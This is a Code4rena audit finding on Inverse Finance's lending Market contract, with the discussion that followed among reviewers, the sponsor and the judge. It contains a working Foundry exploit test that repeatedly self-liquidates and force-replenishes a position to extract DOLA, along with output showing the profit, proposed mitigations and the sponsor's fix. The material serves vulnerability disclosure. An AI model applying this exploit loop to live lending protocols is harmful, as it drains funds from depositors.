Liquidation should make a borrower _healthier_

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L559 https://github.com/code-423n4/2022-10-inverse/blob/main/src/Market.sol#L591

Vulnerability details

Impact

For a lending pool, borrower's debt healthness can be decided by the health factor, i.e. the collateral value divided by debt. ($C/D$)

The less the health factor is, the borrower's collateral is more risky of being liquidated.

Liquidation is supposed to make the borrower healthier (by paying debts and claiming some collateral), or else continuous liquidations can follow up and this can lead to a so-called liquidation crisis.

In a normal lending protocol, borrower's debt is limited by collateral factor in any case.

For this protocol, users can force replenishment for the addresses in deficit and the replenishment increases the borrower's debt.

And in the current implementation the replenishment is limited so that the new debt is not over than the collateral value.

As we will see below, this limitation is not enough and if the borrower's debt is over some threshold (still less than collateral value), liquidation makes the borrower debt "unhealthier".

And repeating liquidation can lead to various problems and we will even show an example that the attacker can take the DOLA out of the market.

Proof of Concept

Terminology

$C_f$ - collateralFactorBps / 10000

$L_i$ - liquidationIncentiveBps / 10000

$L_{fe}$ - liquidationFeeBps / 10000

$L_{fa}$ - liquidationFactorBps / 10000

$D$ - user's debt recognized by the market

$C$ - user's collateral held by the escrow

$P$ - collateral price in DOLA, 1 collateral = $P$ DOLAs. For simplicity, assumed to be a constant.

Constraints on the parameters in the current implementation

All parameters are in range $(0,1)$ and $L_{fe}+L_i<1$.

Condition for liquidation

1. Debt is over the credit limit

   $D>C_f C P$

2. Liquidation amount is limited by liquidation factor times user debt.

   $x\le L_{fa}D$

Study

We will explore a condition when the liquidation will decrease the health factor after liquidation of $x$.

After liquidation, borrower's new debt is $D-x$ and the collateral value is $CP-x(1+Li+L{fe})$ (in DOLA) due to the incentives and fee.

Let us see when the new health factor can be less than the previous health factor.

$\frac {CP-x(1+Li+L{fe})}{D-x} < \frac {CP}{D}$

$CP<D(1+Li+L{fe})$

$D>\frac{CP}{1+Li+L{fe}}$

So if the borrower's debt is over some value depending on the collateral value and liquidation incentive and fee, liquidation of any amount will make the account unhealthier.

Note that the right hand of the above inequality is still less than the collateral value and it means one can intentionally increase an account debt via replenishment so that it is over the threshold.

Furthermore, we notice that it is even possible that the debt can be greater than the above threshold without any replenishment if $C_f>\frac {1}{1+Li+L{fe}}$. The example attacker is written assuming this case but considering the possible side effects of replenishment, we suggest limiting the liquidation function so that it can not decrease the health factor.

Example

For $Cf=0.85, L{fe}=0.01, L_{fa}=0.5, L_i=0.18$, an attacker can take DOLA out of protocol as below. We believe that these parameters are quite realistic. For these parameters, if an attacker borrows as much as it can, then the debt becomes greater than the threshold already without any replenishment.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../DBR.sol";
import "../Market.sol";
import "./FiRMTest.sol";

contract Attack_2 is FiRMTest {
    address operator;

    function setUp() public {
        vm.label(gov, "operator");
        operator = gov;

        collateralFactorBps = 8500;
        liquidationBonusBps = 1800;
        replenishmentPriceBps = 50000;

        initialize(replenishmentPriceBps, collateralFactorBps, replenishmentIncentiveBps, liquidationBonusBps, callOnDepositCallback);

        vm.startPrank(gov);
        market.setLiquidationFeeBps(100);
        market.setLiquidationFactorBps(5000);
        vm.stopPrank();

        vm.startPrank(chair);
        fed.expansion(IMarket(address(market)), 1_000_000e18);
        vm.stopPrank();
    }

    function getMaxForceReplenishable(address user) public view returns (uint) {
        // once the debt is over the collateral value, getLiquidatableDebt might return more than what are actually in the collateral
        uint256 currentDeficit = dbr.deficitOf(user);
        uint256 limitByCollateralValue = 0;
        if(market.getCollateralValue(user) > market.debts(user))
        {
            limitByCollateralValue = (market.getCollateralValue(user) - market.debts(user)) * 10000 / dbr.replenishmentPriceBps();
        }

        return currentDeficit <= limitByCollateralValue ? currentDeficit : limitByCollateralValue;
    }

    function getMaxLiquidatable(address user) public view returns (uint) {
        // once the debt is over the collateral value, getLiquidatableDebt might return more than what are actually in the collateral

        uint256 limitByLiquidationFactor = market.getLiquidatableDebt(user);
        uint256 limitByLiquidationReward = market.getCollateralValue(user) * 10000 / (10000 + market.liquidationFeeBps() + market.liquidationIncentiveBps());

        return limitByLiquidationFactor >= limitByLiquidationReward ? limitByLiquidationReward : limitByLiquidationFactor;
    }

    function userTotalValue(address user) public view returns (uint256) {
        uint P = ethFeed.latestAnswer() / 1e18;
        uint256 totalValue = DOLA.balanceOf(user) / P + WETH.balanceOf(user);
        // if the collateral value is greater than the debt, the total value includes the difference because user can repay debt and claim the collateral back
        if(market.getCollateralValue(user) > market.debts(user))
            totalValue += (market.getCollateralValue(user) - market.debts(user))/P;
        return totalValue;
    }

    function testAttack_2() public {
        uint P = ethFeed.latestAnswer() / 1e18; // assume the price stays the same

        gibWeth(user, wethTestAmount); // 10^18, 1 eth for collateral
        gibDOLA(user, wethTestAmount * P); // 10^18, 1 eth in DOLA for liquidation

        // block 1
        vm.startPrank(user);
        deposit(wethTestAmount); // collateral

        uint borrowAmount = market.getCreditLimit(user); // borrow as much as it can
        market.borrow(borrowAmount);

        emit log_named_decimal_uint("Total value before exploit", userTotalValue(user), 18);
        emit log_named_uint("B", market.debts(user));
        emit log_named_uint("D", market.debts(user));
        emit log_named_uint("C", market.getCollateralValue(user));
        emit log_named_decimal_uint("H", market.getCollateralValue(user) * 1e18 / market.debts(user), 18);

        // start liquidation
        uint cycle = 1;
        while(cycle < 100)
        {
            emit log_named_uint("Cycle", cycle);
            uint256 liquidatable = getMaxLiquidatable(user);
            if(liquidatable > 0)
            {
                emit log("Liquidation");
                emit log_named_uint("L", liquidatable);
                market.liquidate(user, liquidatable); // liquidate as much as it can
            }
            else {
                emit log("Wait a block and force replenishment");
                vm.warp(block.timestamp + 1);
                uint256 replenishable = getMaxForceReplenishable(user);
                emit log_named_uint("R", replenishable); // force replenish as much as possible, this will incur some loss but will make the address liquidatable
                market.forceReplenish(user, replenishable);
            }

            emit log_named_uint("D", market.debts(user));
            emit log_named_uint("C", market.getCollateralValue(user));
            emit log_named_decimal_uint("H", market.getCollateralValue(user) * 1e18 / market.debts(user), 18);

            ++ cycle;

            uint256 totalValue = userTotalValue(user);
            emit log_named_decimal_uint("Total value the user owns",  totalValue, 18);
            if(totalValue > wethTestAmount * 2)
                break; // no need to continue, the attacker already took profit from the market
        }
    }
}

The test results are as below. We can see that the health factor is decreasing for every liquidation and this ultimately makes the debt greater than collateral value. Then the attacker's total value increases for every liquidation and finally it gets more value than the initial status.

> forge test -vv --match-test testAttack_2
  Total value before exploit: 2.000000000000000000
  B: 1360000000000000000000
  D: 1360000000000000000000
  C: 1600000000000000000000
  H: 1.176470588235294117
  Cycle: 1
  Wait a block and force replenishment
  R: 43125317097919
  D: 1360000215626585489595
  C: 1600000000000000000000
  H: 1.176470401707135551
  Total value the user owns: 1.999999871971714865
  Cycle: 2
  Liquidation
  L: 680000107813292744797
  D: 680000107813292744798
  C: 790799871702181636800
  H: 1.162940803414271107
  Total value the user owns: 1.995749871297881786
  Cycle: 3
  Liquidation
  L: 340000053906646372399
  D: 340000053906646372399
  C: 386199807553272457600
  H: 1.135881606828542227
  Total value the user owns: 1.993624870960965247
  Cycle: 4
  Liquidation
  L: 170000026953323186199
  D: 170000026953323186200
  C: 183899775478817868800
  H: 1.081763213657084471
  Total value the user owns: 1.992562370792506977
  Cycle: 5
  Liquidation
  L: 85000013476661593100
  D: 85000013476661593100
  C: 82749759441590576000
  H: 0.973526427314168978
  Total value the user owns: 1.993437529480197230
  Cycle: 6
  Liquidation
  L: 42500006738330796550
  D: 42500006738330796550
  C: 32174751422976931200
  H: 0.757052854628338029
  Total value the user owns: 1.998218780238259443
  Cycle: 7
  Liquidation
  L: 21250003369165398275
  D: 21250003369165398275
  C: 6887247413670110400
  H: 0.324105709256676206
  Total value the user owns: 2.000609405617290549

Tools Used

Foundry

Recommended Mitigation Steps

Make sure the liquidation does not decrease the health index in the function liquidate. With this mitigation, we also suggest limiting the debt increase in the function forceReplenish so that the new debt after replenish will not be over the threshold.

function liquidate(address user, uint repaidDebt) public {
    require(repaidDebt > 0, "Must repay positive debt");
    uint debt = debts[user];
    require(getCreditLimitInternal(user) < debt, "User debt is healthy");
    require(repaidDebt <= debt * liquidationFactorBps / 10000, "Exceeded liquidation factor");

    // ****************************************
    uint beforeHealthFactor = getCollateralValue(user) * 1e18 / debt; // @audit remember the health factor before liquidation
    // ****************************************

    uint price = oracle.getPrice(address(collateral), collateralFactorBps); // collateral price in dola
    uint liquidatorReward = repaidDebt * 1 ether / price; // collateral amount
    liquidatorReward += liquidatorReward * liquidationIncentiveBps / 10000;
    debts[user] -= repaidDebt;
    totalDebt -= repaidDebt;

    dbr.onRepay(user, repaidDebt);
    dola.transferFrom(msg.sender, address(this), repaidDebt);
    IEscrow escrow = predictEscrow(user);
    escrow.pay(msg.sender, liquidatorReward);
    if(liquidationFeeBps > 0) {
        uint liquidationFee = repaidDebt * 1 ether / price * liquidationFeeBps / 10000;
        if(escrow.balance() >= liquidationFee) {
            escrow.pay(gov, liquidationFee);
        }
    }

    // ****************************************
    uint afterHealthFactor = getCollateralValue(user) * 1e18 / debts[user]; // @audit health factor after liquidation
    require(afterHealthFactor >= beforeHealthFactor, "Liquidation should not decrease the health factor of the address"); // @audit new check
    // ****************************************

    emit Liquidate(user, msg.sender, repaidDebt, liquidatorReward);
}

function forceReplenish(address user, uint amount) public {
    uint deficit = dbr.deficitOf(user);
    require(deficit > 0, "No DBR deficit");
    require(deficit >= amount, "Amount > deficit");
    uint replenishmentCost = amount * dbr.replenishmentPriceBps() / 10000;
    uint replenisherReward = replenishmentCost * replenishmentIncentiveBps / 10000;
    debts[user] += replenishmentCost;
    uint collateralValue = getCollateralValueInternal(user);

    // ****************************************
    // require(collateralValue >= debts[user], "Exceeded collateral value");
    require(collateralValue >= debts[user] * (1 + liquidationIncentiveBps / 10000 + liquidationFeeBps / 10000), "Debt exceeds safe collateral limit"); // @audit more strict limit
    // ****************************************

    totalDebt += replenishmentCost;
    dbr.onForceReplenish(user, amount);
    dola.transfer(msg.sender, replenisherReward);
    emit ForceReplenish(user, msg.sender, amount, replenishmentCost, replenisherReward);
}

[d3e4]

The suggested mitigation introduces a new issue. As an extreme example, if the debt ever were to become greater than the collateral (which is always possible and a risk the lender must be willing to take), since the liquidation incentive and fee currently cannot be zero then with this suggestion the health factor would decrease and the borrower cannot be liquidated. But even if they could be set to zero then rounding errors can result in a slight decrease of the health factor, still preventing liquidation. But more generally, there is always a debt level such that the health factor decreases when liquidating. There are three levels of debt to consider here: the collateral factor determines when liquidation is allowed, an intermediate level above which the health factor decreases, and the full collateral value above which represents a loss for the protocol. The parameters should be set such that this intermediate level is somewhere safely above the collateral factor. This is the level checked for in the suggested addition to forceReplenish(). But the problem here is that the incentive and fee are independent of the collateralisation (the health factor). Therefore, if the debt is above the critical intermediate level, an over-collateralised debt may be liquidated into an under-collateralised debt. That is, there is a risk of under-collateralisation even before the debt exceeds the collateral. Let's call this level critical collateralisation. Note that the liquidation factor does nothing to prevent this. Once the debt is critically collateralised it will so remain no matter what amount is liquidated. And vice versa for non-critically collateralised debt. The liquidation factor at best prevents overshoot for non-critically collateralised debts such that the debt doesn't become needlessly over-collateralised after liquidation.

It is also not true that the lesser the health factor (as defined here), when it is possible to liquidate, the greater the risk of being liquidated. Rather, that depends on the incentive, and here the incentive is constant (in proportion to the amount liquidated).

Since this issue is a direct and unavoidable consequence of the fact that the liquidation incentive is constant and this report does nothing to mitigate this but rather introduces a new issue, I consider this part of the report invalid, except the suggestion to put a stricter limit in forceReplenish(), which at least prevents replenishment from increasing the debt beyond critical collateralisation. But this is probably better dealt with by fixing the constant incentive problem itself.

It does present a valid exploit, however. Note that this exploit is fundamentally possible because of the constant incentive problem. It further requires that the debt be above critical collateralisation. This can happen simply by borrowing if the collateral factor is already set above this level, which is the case considered in the example attack. Or the debt can be increased by forced replenishment, which currently isn't limited by this level, as the report mentions. But it is always possible that the debt exceeds this level simply because of a price change, which is why a complete protection must involve a non-constant liquidation incentive.

In this sense the exploit here is a duplicate of the warden's #396 (and #128). (The parameters provided here also work for those exploits.)

To prevent this exploit we have to make the incentive non-constant, such that the incentive cannot pay more than the loss of the excess collateral. The incentive may be limited to only pay for the part of the liquidation that doesn't bring the debt over the collateral. This may be implemented such that if the debt is critically collateralised the liquidator effectively liquidates with incentive only until the debt equals the collateral, and thereafter the rest is just liquidated without incentive. Note that this still means debts can be critically collateralised, which means that they will be completely liquidated (regardless of the liquidation factor). Another solution is to let the incentive be a function of the debt. Assuming the liquidation fee effectively goes to the lender we have the condition $Li \leq (CP-D)(L{fe} + 1)/D$. If we strictly require that liquidation not cause the debt to exceed the collateral (assuming it didn't before liquidation) we have the condition $Li + L{fe} \leq CP/D - 1$. For this solution we could then have a parameter for how much margin we want in these inequalities. A positive margin prevents critical collateralisation, i.e. any over-collateralised debt above the collateral factor can be liquidated down to below the collateral factor. The more the margin the sooner the debt reaches the collateral factor. No margin means the entire debt can be liquidated. You may thus want to do away with the liquidation factor, as it only enables overshoot, and instead calculate the amount such that the debt is liquidated down to precisely a certain collateral factor (perhaps slightly lower than the collateral factor which allows liquidation).

[c4-sponsor]

08xmt marked the issue as sponsor confirmed

[08xmt]

Fixed by https://github.com/InverseFinance/FrontierV2/pull/22

[c4-judge]

0xean marked the issue as satisfactory

[0xean]

i think this comes down to design tradeoffs and is not unique to this specific lending protocol. It certainly shouldn't be consider High risk, but could see it being considered M as users should be aware that in market sell offs, cascading liquidations are a potential reality either due to liquidation rewards OR simply declining prices and the feedback loop at liquidations occur.

That being said, these items are not unique to this protocol, so perhaps QA is a better grade for this issue.

[c4-judge]

Duplicate of https://github.com/code-423n4/2022-10-inverse-findings/issues/398

[0xean]

@08xmt - care to weigh in on this one? I am unable to see your fix, but may help in how I judge it. The warden asked me to re-review and is suggesting a M severity.

[08xmt]

@0xean I think a M rating is fair. Our fix has been to revert when the combination of Collateral Factor, Liquidation Incentive and Liquidation Fee would result in proftiable self liquidations or unhealthier debt after liquidations.

        if(collateralFactorBps > 0){
            uint unsafeLiquidationIncentive = 10000 * 10000 / collateralFactorBps - 10000 - liquidationFeeBps;
            require(liquidationIncentiveBps < unsafeLiquidationIncentive,  "New liquidation param allow profitable self liquidation");
        }

[0xean]

thanks, will upgrade back to M once the extension allows me to :)

[Simon-Busch]

Severity upgrade as per requested by @0xean ✅

[c4-judge]

0xean marked the issue as not a duplicate

[c4-judge]

0xean marked the issue as selected for report